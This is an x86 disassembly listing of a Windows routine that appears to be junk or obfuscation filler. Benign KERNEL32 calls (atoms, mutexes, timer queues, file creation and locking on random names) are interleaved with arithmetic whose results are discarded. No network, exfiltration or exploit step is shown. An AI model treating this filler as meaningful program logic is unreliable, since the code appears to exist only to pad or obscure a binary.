mov eax, dword [0x100ba084]
mov word [eax], dx
push 0x21f1
mov ecx, dword [0x100b980c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x3c0c], eax
movzx edx, byte [ebp - 0x256]
movzx ecx, byte [ebp - 0x294]
sar edx, cl
mov byte [ebp - 0x99], dl
mov eax, dword [ebp - 0x3c6c]
mov ecx, dword [ebp - 0x2c04]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3cb4]
mov dword [edx], ecx
lea eax, [ebp - 0x11c0]
mov dword [0x100ba33c], eax
mov ecx, dword [ebp - 0x3ba0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2ac0]
mov dword [ebp - 0x3e04], edx
mov eax, dword [ebp - 0x3dd4]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x27b]
and ecx, edx
mov byte [ebp - 0x1f2], cl
push 0
push 2
push 3
push 0
push 4
push 0x80000000
push str.BftE3xiqNlzlPQ3eOAmUuSOHaLsX678ftO
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3eb4], eax
lea eax, [ebp - 0xdfc]
mov dword [0x100ba340], eax
mov cl, byte [0x100b7efb]
mov byte [ebp - 0x2aa], cl
movzx edx, word [0x100b96f0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba344], ax
mov eax, dword [0x100b71f8]
imul eax, dword [ebp - 0x3748]
mov ecx, dword [ebp - 0x37f4]
mov dword [ecx], eax
push 0
push 0x625
push 0x91a
push 0x37df
push 2
mov edx, dword [ebp - 0x3e44]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [0x100ba348], eax
movsx eax, byte [0x100b7f8f]
mov ecx, dword [ebp - 0x3490]
movsx edx, byte [ecx]
xor eax, edx
mov byte [0x100b802e], al
lea eax, [ebp - 0x1334]
mov dword [ebp - 0x3eb8], eax
mov ecx, dword [ebp - 0x33b8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x36f0]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x3d3c]
mov word [eax], dx
mov ecx, dword [ebp - 0x3418]
mov edx, dword [ebp - 0x3d18]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [0x100b72e8], eax
movsx edx, word [ebp - 0xbe8]
mov eax, dword [ebp - 0x3914]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0xdb4], dx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3ebc], eax
movzx ecx, byte [ebp - 0xcb]
movzx edx, byte [ebp - 0x273]
add ecx, edx
mov eax, dword [ebp - 0x3c1c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3aa8]
mov edx, dword [ebp - 0x3108]
and edx, dword [ecx]
mov eax, dword [0x100ba0b8]
mov dword [eax], edx
lea ecx, [ebp - 0x285]
mov dword [ebp - 0x3ec0], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9e68], eax
push str.PN_WQ3E
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x12d4], ax
mov edx, dword [ebp - 0x3e48]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x130c]
xor eax, ecx
mov word [ebp - 0x11cc], ax
lea edx, [ebp - 0x1264]
mov dword [0x100ba34c], edx
movsx eax, byte [0x100b717a]
mov ecx, dword [ebp - 0x3dd4]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x3b80]
mov byte [ecx], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3ec4], eax
mov edx, dword [ebp - 0x3d24]
mov eax, dword [ebp - 0x3938]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [0x100ba238]
mov dword [edx], ecx
push str.XnVrmI
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba350], ax
mov eax, dword [ebp - 0x384c]
mov cx, word [eax]
mov word [ebp - 0x1360], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba040], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3da4], eax
movzx edx, byte [ebp - 0x297]
mov eax, dword [0x100b9ac0]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x36f4]
mov byte [eax], dl
mov edx, dword [0x100b7244]
mov ecx, dword [ebp - 0x2c3c]
shl edx, cl
mov dword [0x100b7204], edx
mov ax, word [ebp - 0x7ac]
mov word [ebp - 0x1364], ax
lea ecx, [ebp - 0x3b4c]
mov dword [ebp - 0x3ec8], ecx
lea edx, [ebp - 0xb8c]
mov dword [0x100ba354], edx
lea eax, [ebp - 0xada4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [0x100b7288]
mov ecx, dword [ebp - 0x3098]
shr edx, cl
mov eax, dword [ebp - 0x3ba0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x283]
movzx edx, byte [ebp - 0x3e]
and ecx, edx
mov byte [ebp - 0x21a], cl
mov dword [0x100ba358], 0x100b7142
push 0x264e
push 0x393b
push 0x554
push 0x1700
mov eax, dword [0x100b99a4]
push eax
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba35c], eax
mov ecx, dword [ebp - 0x3be0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3a38]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x1c9], dl
mov edx, dword [ebp - 0x3760]
mov eax, dword [0x100b7234]
add eax, dword [edx]
mov dword [ebp - 0x328c], eax
push str.D45f
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1368], ax
movzx ecx, byte [ebp - 0x1b0]
movzx edx, byte [ebp - 0xe]
and ecx, edx
mov byte [0x100b7167], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba360], eax
push str.YpmgGIv_jUyEFDNu7QBqdTv
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x136c], ax
lea eax, [ebp - 0x6bc]
mov dword [ebp - 0x3ecc], eax
lea ecx, [ebp - 0x1210]
mov dword [ebp - 0x3ed0], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9560], eax
mov edx, dword [0x100b952c]
mov eax, dword [ebp - 0x3e40]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [0x100b97f4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3ec0]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0xd0]
shl edx, cl
mov byte [ebp - 0x120], dl
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0x3ed4], eax
mov cl, byte [0x100b7f2a]
mov byte [0x100b80be], cl
mov edx, dword [ebp - 0x3870]
movzx eax, word [edx]
mov ecx, dword [0x100b9a2c]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x7ac], ax
lea eax, [ebp - 0xe74]
mov dword [ebp - 0x3ed8], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x394c], eax
push 0
push 0x20
push 3
push 0
push 1
push 0x40000000
push str.z4EDvjkuuB
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3edc], eax
lea ecx, [ebp - 0x264]
mov dword [0x100ba364], ecx
movzx edx, word [0x100ba044]
mov eax, dword [ebp - 0x37fc]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x35ec]
mov word [eax], dx
push 0x100b9fc0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x2ec4]
add ecx, dword [ebp - 0x2ba4]
mov edx, dword [ebp - 0x3c18]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba368], eax
mov eax, dword [ebp - 0x36ec]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x3ce8]
mov edx, dword [0x100b972c]
mov dword [edx], ecx
movzx eax, byte [0x100b71d3]
movzx ecx, byte [ebp - 0x140]
sar eax, cl
mov byte [ebp - 0x1de], al
movsx ecx, word [0x100b94f4]
movsx edx, word [ebp - 0x1348]
sub ecx, edx
mov eax, dword [ebp - 0x36d4]
mov word [eax], cx
mov ecx, dword [ebp - 0x3690]
movsx edx, byte [ecx]
movsx ecx, byte [0x100b7fd2]
shl edx, cl
mov byte [0x100b7fd6], dl
mov eax, dword [ebp - 0x33ec]
mov cx, word [eax]
mov word [ebp - 0x1370], cx
mov edx, dword [0x100b7204]
or edx, dword [ebp - 0x2d88]
mov dword [ebp - 0x3bec], edx
lea eax, [ebp - 0x3acc]
mov dword [0x100ba36c], eax
mov dword [ebp - 0x3ee0], 0x100b7167
mov ecx, dword [ebp - 0x3dcc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x27b]
add edx, eax
mov byte [ebp - 0xbc], dl
movsx ecx, word [ebp - 0xa44]
mov edx, dword [ebp - 0x3488]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [0x100b971c]
mov word [edx], cx
mov dword [ebp - 0x3ee4], 0x100b7228
mov eax, dword [ebp - 0x3494]
mov edx, dword [ebp - 0x3744]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3b4c], edx
mov dword [0x100ba370], 0x100b7efa
mov eax, dword [ebp - 0x3d84]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0xe]
xor ecx, edx
mov byte [ebp - 0xac], cl
mov eax, dword [ebp - 0x3a2c]
mov ecx, dword [0x100b9f20]
shl eax, cl
mov dword [ebp - 0x2ac0], eax
push str.C3_q
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1240], ax
push 0x3c68
push 0x28be
push 0x10f5
push 0x27c1
mov ecx, dword [ebp - 0x3e50]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [0x100ba35c], eax
mov edx, dword [ebp - 0x3c04]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3b6c]
movzx edx, word [ecx]
add eax, edx
mov ecx, dword [0x100ba164]
mov word [ecx], ax
mov dx, word [ebp - 0x1360]
mov word [ebp - 0x1374], dx
mov eax, dword [ebp - 0x2e00]
mov dword [ebp - 0x3ee8], eax
mov ecx, dword [ebp - 0x35c4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x3624]
movsx ecx, byte [eax]
and edx, ecx
mov byte [0x100b71db], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba374], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x3eec], eax
movzx edx, byte [ebp - 0x91]
mov eax, dword [0x100ba294]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x3b30]
mov byte [eax], dl
movzx ecx, word [0x100ba02c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11d8], ax
push 0
push 0x100
push 3
push 0
push 1
push 0x40000000
push str.W5fz7LMtcQP3xMAvCLXiNAK5m4Djgjazp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x100ba378], eax
mov edx, dword [ebp - 0x3e84]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3e30]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1178], ax
mov dword [0x100ba37c], 0x100b71cc
lea eax, [ebp - 0x2e64]
mov dword [ebp - 0x3ef0], eax
movsx edx, word [ebp - 0x1180]
mov eax, dword [0x100b971c]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x37a0]
mov word [ecx], dx
mov edx, dword [ebp - 0x3980]
mov ecx, dword [ebp - 0x3b78]
mov eax, dword [edx]
cdq
idiv dword [ecx]
mov edx, dword [0x100b94a4]
mov dword [edx], eax
movsx eax, byte [ebp - 0x2a5]
mov ecx, dword [0x100ba078]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x229], al
lea eax, [ebp - 0xe7]
mov dword [0x100ba380], eax
lea ecx, [ebp - 0xd80]
mov dword [ebp - 0x3ef4], ecx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3ef8], eax
mov edx, dword [ebp - 0x2e18]
and edx, dword [0x100b9ebc]
mov eax, dword [ebp - 0x3910]
mov dword [eax], edx
mov ecx, dword [ebp - 0x377c]
mov edx, dword [ebp - 0x3aac]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [0x100b9940]
mov dword [ecx], eax
mov edx, dword [ebp - 0x36d4]
movsx eax, word [edx]
movsx ecx, word [0x100b9e70]
shl eax, cl
mov word [ebp - 0x768], ax
movsx ecx, byte [ebp - 0x298]
movsx edx, byte [ebp - 0x27d]
or ecx, edx
mov byte [ebp - 0x107], cl
lea eax, [ebp - 0xb008]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9560], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba384], eax
mov ecx, dword [ebp - 0x387c]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x386c]
movzx ecx, byte [eax]
sar edx, cl
mov byte [0x100b802f], dl
movzx ecx, word [ebp - 0x1208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba388], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3efc], eax
movzx edx, word [ebp - 0x136c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba00c], ax
movsx eax, byte [ebp - 0x266]
movsx ecx, byte [ebp - 0x2a2]
add eax, ecx
mov edx, dword [ebp - 0x3df8]
mov byte [edx], al
push 0
push 0x3b2e
push 0x12ce
push 0x6944
push 1
mov eax, dword [0x100b97fc]
push eax
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x37a8], eax
lea ecx, [ebp - 0x33d4]
mov dword [ebp - 0x3f00], ecx
mov dx, word [ebp - 0x7ac]
mov word [0x100ba38c], dx
push str.Wi9.ZgtuFP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba390], ax
lea eax, [ebp - 0x1248]
mov dword [ebp - 0x3f04], eax
mov ecx, dword [0x100ba2bc]
mov edx, dword [ebp - 0x3730]
and edx, dword [ecx]
mov eax, dword [ebp - 0x3b28]
mov dword [eax], edx
lea ecx, [ebp - 0x299]
mov dword [0x100ba394], ecx
push str.R3NW_XDZdmhdQbASC_X
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1378], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9900], eax
mov edx, dword [ebp - 0x3854]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [ebp - 0x271]
imul ecx, eax, 0x2b
mov edx, dword [ebp - 0x3ec0]
mov byte [edx], cl
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100ba398], eax
lea eax, [ebp - 0xb02c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100b71e4]
mov dword [ebp - 0x3f08], ecx
lea edx, [ebp - 0x9d18]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x3dac]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x6f0]
xor ecx, edx
mov word [0x100b7258], cx
lea eax, [ebp - 0xe90]
mov dword [ebp - 0x3f0c], eax
movzx edx, word [ebp - 0x11cc]
movzx ecx, word [0x100b7268]
shl edx, cl
mov word [ebp - 0xb0c], dx
mov eax, dword [ebp - 0x3740]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x276]
xor ecx, edx
mov byte [0x100b71ea], cl
mov eax, dword [ebp - 0x3680]
mov ecx, dword [ebp - 0x3044]
add ecx, dword [eax]
mov dword [ebp - 0x3cf4], ecx
push str.OGSQ0gzToa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba39c], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9a28], eax
mov edx, dword [ebp - 0x3628]
mov eax, dword [edx]
mov dword [ebp - 0x3f10], eax
mov ecx, dword [0x100b9a24]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x383c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [0x100b714b], dl
lea ecx, [ebp - 0x9c70]
push ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x3650]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1330]
or eax, ecx
mov word [ebp - 0xea0], ax
mov edx, dword [ebp - 0x361c]
movsx eax, word [edx]
movsx ecx, word [0x100b72a0]
and eax, ecx
mov word [ebp - 0x1338], ax
movsx edx, byte [ebp - 0x2a0]
mov eax, dword [ebp - 0x381c]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100b9c78]
mov byte [eax], dl
movzx ecx, byte [ebp - 0x5f]
movzx edx, byte [ebp - 0x3d]
sub ecx, edx
mov eax, dword [ebp - 0x3e10]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3d98]
mov edx, dword [ecx]
mov dword [ebp - 0x3f14], edx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9ff0], eax
mov eax, dword [0x100b7278]
mov dword [0x100ba3a0], eax
push 0x891
mov ecx, dword [ebp - 0x38a8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [0x100ba3a4], eax
mov dword [ebp - 0x3f18], 0x100b71da
lea edx, [ebp - 0x9d30]
push edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [ebp - 0x1228]
movzx ecx, word [0x100b71d8]
shl eax, cl
mov ecx, dword [ebp - 0x3808]
mov word [ecx], ax
mov edx, dword [ebp - 0x3988]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x12cc]
add eax, ecx
mov edx, dword [0x100b9558]
mov word [edx], ax
lea eax, [ebp - 0xafc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x3d84]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x294]
sar edx, cl
mov byte [ebp - 0x140], dl
mov eax, dword [ebp - 0x3f00]
mov ecx, dword [ebp - 0x3928]
mov edx, dword [eax]
and edx, dword [ecx]
mov dword [ebp - 0x2d38], edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba3a8], eax
lea eax, [ebp - 0x1294]
mov dword [0x100ba3ac], eax
imul ecx, dword [ebp - 0x3634], 0x2b37
mov dword [ebp - 0x3730], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100ba288], eax
mov dl, byte [ebp - 0x271]
mov byte [ebp - 0x2ab], dl
lea eax, [ebp - 0xb050]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx ecx, word [ebp - 0x7d8]
movsx edx, word [ebp - 0x1340]
or ecx, edx
mov word [0x100b9e70], cx
mov eax, dword [0x100b9660]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3e60]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x299], cl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x33c8], eax
lea ecx, [ebp - 0x2c3c]
mov dword [ebp - 0x3f1c], ecx
push str.DHwt_H9p.Ns
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba3b0], ax
push str.vs_D1wAE
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x137c], ax
mov edx, dword [0x100ba2d4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x39b0]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b71eb], al
mov dword [ebp - 0x3f20], 0x100b98f8
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9ea4], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3f24], eax
push str.HXpMAbeEtC7uD2l
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba3b4], ax
movzx eax, word [ebp - 0x112c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100ba19c], ax
movzx edx, word [ebp - 0x121c]
mov eax, dword [ebp - 0x3ee4]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3a44]
mov word [ecx], dx
lea edx, [ebp - 0x9bb0]
push edx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea eax, [ebp - 0x3044]
mov dword [0x100ba3b8], eax
mov ecx, dword [ebp - 0x3c78]
movsx edx, word [ecx]
mov eax, dword [0x100b9d64]
movsx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x89c], dx
movzx edx, byte [ebp - 0x28a]
movzx ecx, byte [ebp - 0x273]
sar edx, cl
mov byte [ebp - 0x1dc], dl
mov eax, dword [ebp - 0x3dd8]
imul ecx, dword [eax], 0x2c21
mov edx, dword [0x100b9dc0]
mov dword [edx], ecx
lea eax, [ebp - 0x270]
mov dword [ebp - 0x3f28], eax
movzx ecx, word [ebp - 0x748]
movzx edx, word [ebp - 0x1330]
xor ecx, edx
mov word [ebp - 0x4d8], cx
movzx eax, word [ebp - 0x11cc]
movzx ecx, word [0x100b728c]
add eax, ecx
mov edx, dword [0x100b9edc]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9f6c], eax
mov eax, dword [ebp - 0x3624]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x3c88]
movsx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x287], cl
push str.LxNqT
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100ba3bc], ax
push str.Xk40_ONsoFP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1380], ax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100ba3c0], eax
mov ecx, dword [0x100ba2bc]
mov edx, dword [ecx]
mov dword [0x100ba3c4], edx
movsx eax, word [ebp - 0x125c]
movsx ecx, word [ebp - 0x12cc]
and eax, ecx
mov word [ebp - 0x5c0], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3f2c], eax
push 1
lea edx, [ebp - 0x981c]
push edx
mov eax, dword [0x100ba3cc]
push eax
mov ecx, dword [0x100ba3c8]
push ecx
mov edx, dword [ebp - 0x3460]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100ba348], eax
mov eax, dword [ebp - 0x3534]
mov cl, byte [eax]
mov byte [ebp - 0x2ac], cl
lea edx, [ebp - 0x9bc8]
push edx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp - 0x2c60]
sub eax, dword [0x100b7234]
mov ecx, dword [0x100b96f4]
mov dword [ecx], eax
movzx edx, word [ebp - 0x1210]
mov eax, dword [ebp - 0x3898]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x36c0]
mov word [ecx], dx
mov edx, dword [ebp - 0x3758]
mov eax, dword [ebp - 0x36a8]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x3980]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0c]
movsx edx, word [ecx]
mov eax, dword [ebp - 0x3988]
movsx ecx, word [eax]
add edx, ecx
mov word [0x100b72ec], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100b9e98], eax
mov edx, dword [ebp - 0x33fc]
mov eax, dword [ebp - 0x377c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x2cb0], ecx
mov edx, dword [0x100ba0bc]
mov al, byte [edx]
mov byte [ebp - 0x2ad], al
mov dword [0x100ba3d0], 0x100b713e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x3f30], eax
movsx ecx, byte [ebp - 0xb5]
movsx edx, byte [ebp - 0xd0]
xor ecx, edx
mov eax, dword [ebp - 0x3624]
mov byte [eax], cl
lea ecx, [ebp - 0x2c60]
mov dword [ebp - 0x3f34], ecx
mov edx, dword [ebp - 0x37c4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3e3c]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [0x100b9808]
mov byte [ecx], al
movsx edx, word [ebp - 0x125c]
movsx eax, word [ebp - 0x1348]
xor edx, eax
mov word [ebp - 0x1140], dx
movzx edx, word [ebp - 0x1184]
mov eax, dword [ebp - 0x3b3c]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x8f8], dx
mov ecx, dword [ebp - 0x3db8]
mov edx, dword [0x100ba36c]
mov eax, dword [ecx]
mov ecx, dword [edx]
shr eax, cl
mov dword [0x100b9524], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100ba3d4], eax
lea ecx, [ebp - 0xad80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dl, byte [0x100b7186]
mov byte [ebp - 0x2ae], dl
mov eax, dword [ebp - 0x3f1c]
mov ecx, dword [ebp - 0x30e8]
add ecx, dword [eax]
mov dword [ebp - 0x2de8], ecx
mov dword [0x100ba3d8], 0x100b7e2a
mov edx, dword [0x100ba174]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100ba3dc], eax
mov eax, dword [0x100b9ab8]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x11f8]
and ecx, edx
mov eax, dword [ebp - 0x3a10]
mov word [eax], cx
mov cx, word [ebp - 0xdfc]
mov word [ebp - 0x1384], cx
mov edx, dword [0x100b98b8]
mov al, byte [edx]
mov byte [0x100b80bf], al
mov ecx, dword [ebp - 0x3b04]
movzx edx, word [ecx]
imul eax, edx, 0x3c5
mov word [ebp - 0x648], ax
mov ecx, dword [ebp - 0x385c]
mov edx, dword [ecx]
xor edx, dword [0x100b72c8]
mov dword [ebp - 0x3098], edx
mov eax, dword [ebp - 0x2f30]
xor eax, dword [ebp - 0x3b74]
mov dword [0x100b7204], eax
mov dword [ebp - 0x3f38], 0x100b7fd3
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3f3c], eax
movsx ecx, word [ebp - 0xe74]
mov edx, dword [0x100b9c34]
movsx eax, word [edx]
add ecx, eax
mov word [ebp - 0x6bc], cx
mov ecx, dword [ebp - 0x39d0]
movsx edx, byte [ecx]
mov eax, dword [0x100b9e78]
movsx ecx, byte [eax]
sub edx, ecx
mov eax, dword [0x100b9b5c]
mov byte [eax], dl
lea ecx, [ebp - 0xdf0]
mov dword [ebp - 0x3f40], ecx
lea edx, [ebp - 0x2c04]
mov dword [ebp - 0x3f44], edx
mov eax, dword [ebp - 0x3634]
or eax, dword [0x100b725c]
mov dword [0x100b72f0], eax
push 0
lea ecx, [ebp - 0x9814]
push ecx
mov edx, dword [0x100ba3e4]
push edx
mov eax, dword [0x100ba3e0]
push eax
mov ecx, dword [0x100b9834]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3f48], eax
movzx edx, byte [ebp - 0x2ad]
mov eax, dword [ebp - 0x3d2c]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0x36f4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3824]
movsx eax, byte [edx]
movsx ecx, byte [0x100b801b]
sar eax, cl
mov byte [ebp - 0x2a8], al
mov cx, word [ebp - 0x12e4]
mov word [0x100ba3e8], cx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100ba240], eax
mov edx, dword [ebp - 0x3e48]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3610]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xd10], ax
mov eax, dword [ebp - 0x3790]
mov dword [ebp - 0x3f4c], eax
movzx ecx, word [ebp - 0x1274]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x119c], ax
movsx edx, byte [ebp - 0x26a]
mov eax, dword [ebp - 0x35c4]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x100b987c]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100ba1a4], eax
push str.RMgZn4KbEiuF.MpNkuW
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1388], ax
movzx ecx, byte [0x100b7187]
mov edx, dword [ebp - 0x3d2c]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x3ee0]
mov byte [edx], cl
mov dword [ebp - 0x3f50], 0x100ba2b0
mov eax, dword [0x100b9edc]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x11dc]
and ecx, edx
mov word [0x100b9b9c], cx
mov eax, dword [0x100b9bac]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x12cc]
sar edx, cl
mov eax, dword [ebp - 0x3b8c]
mov word [eax], dx
mov dword [ebp - 0x3f54], 0x100b7278
mov cl, byte [ebp - 0xf7]
mov byte [0x100b80e2], cl
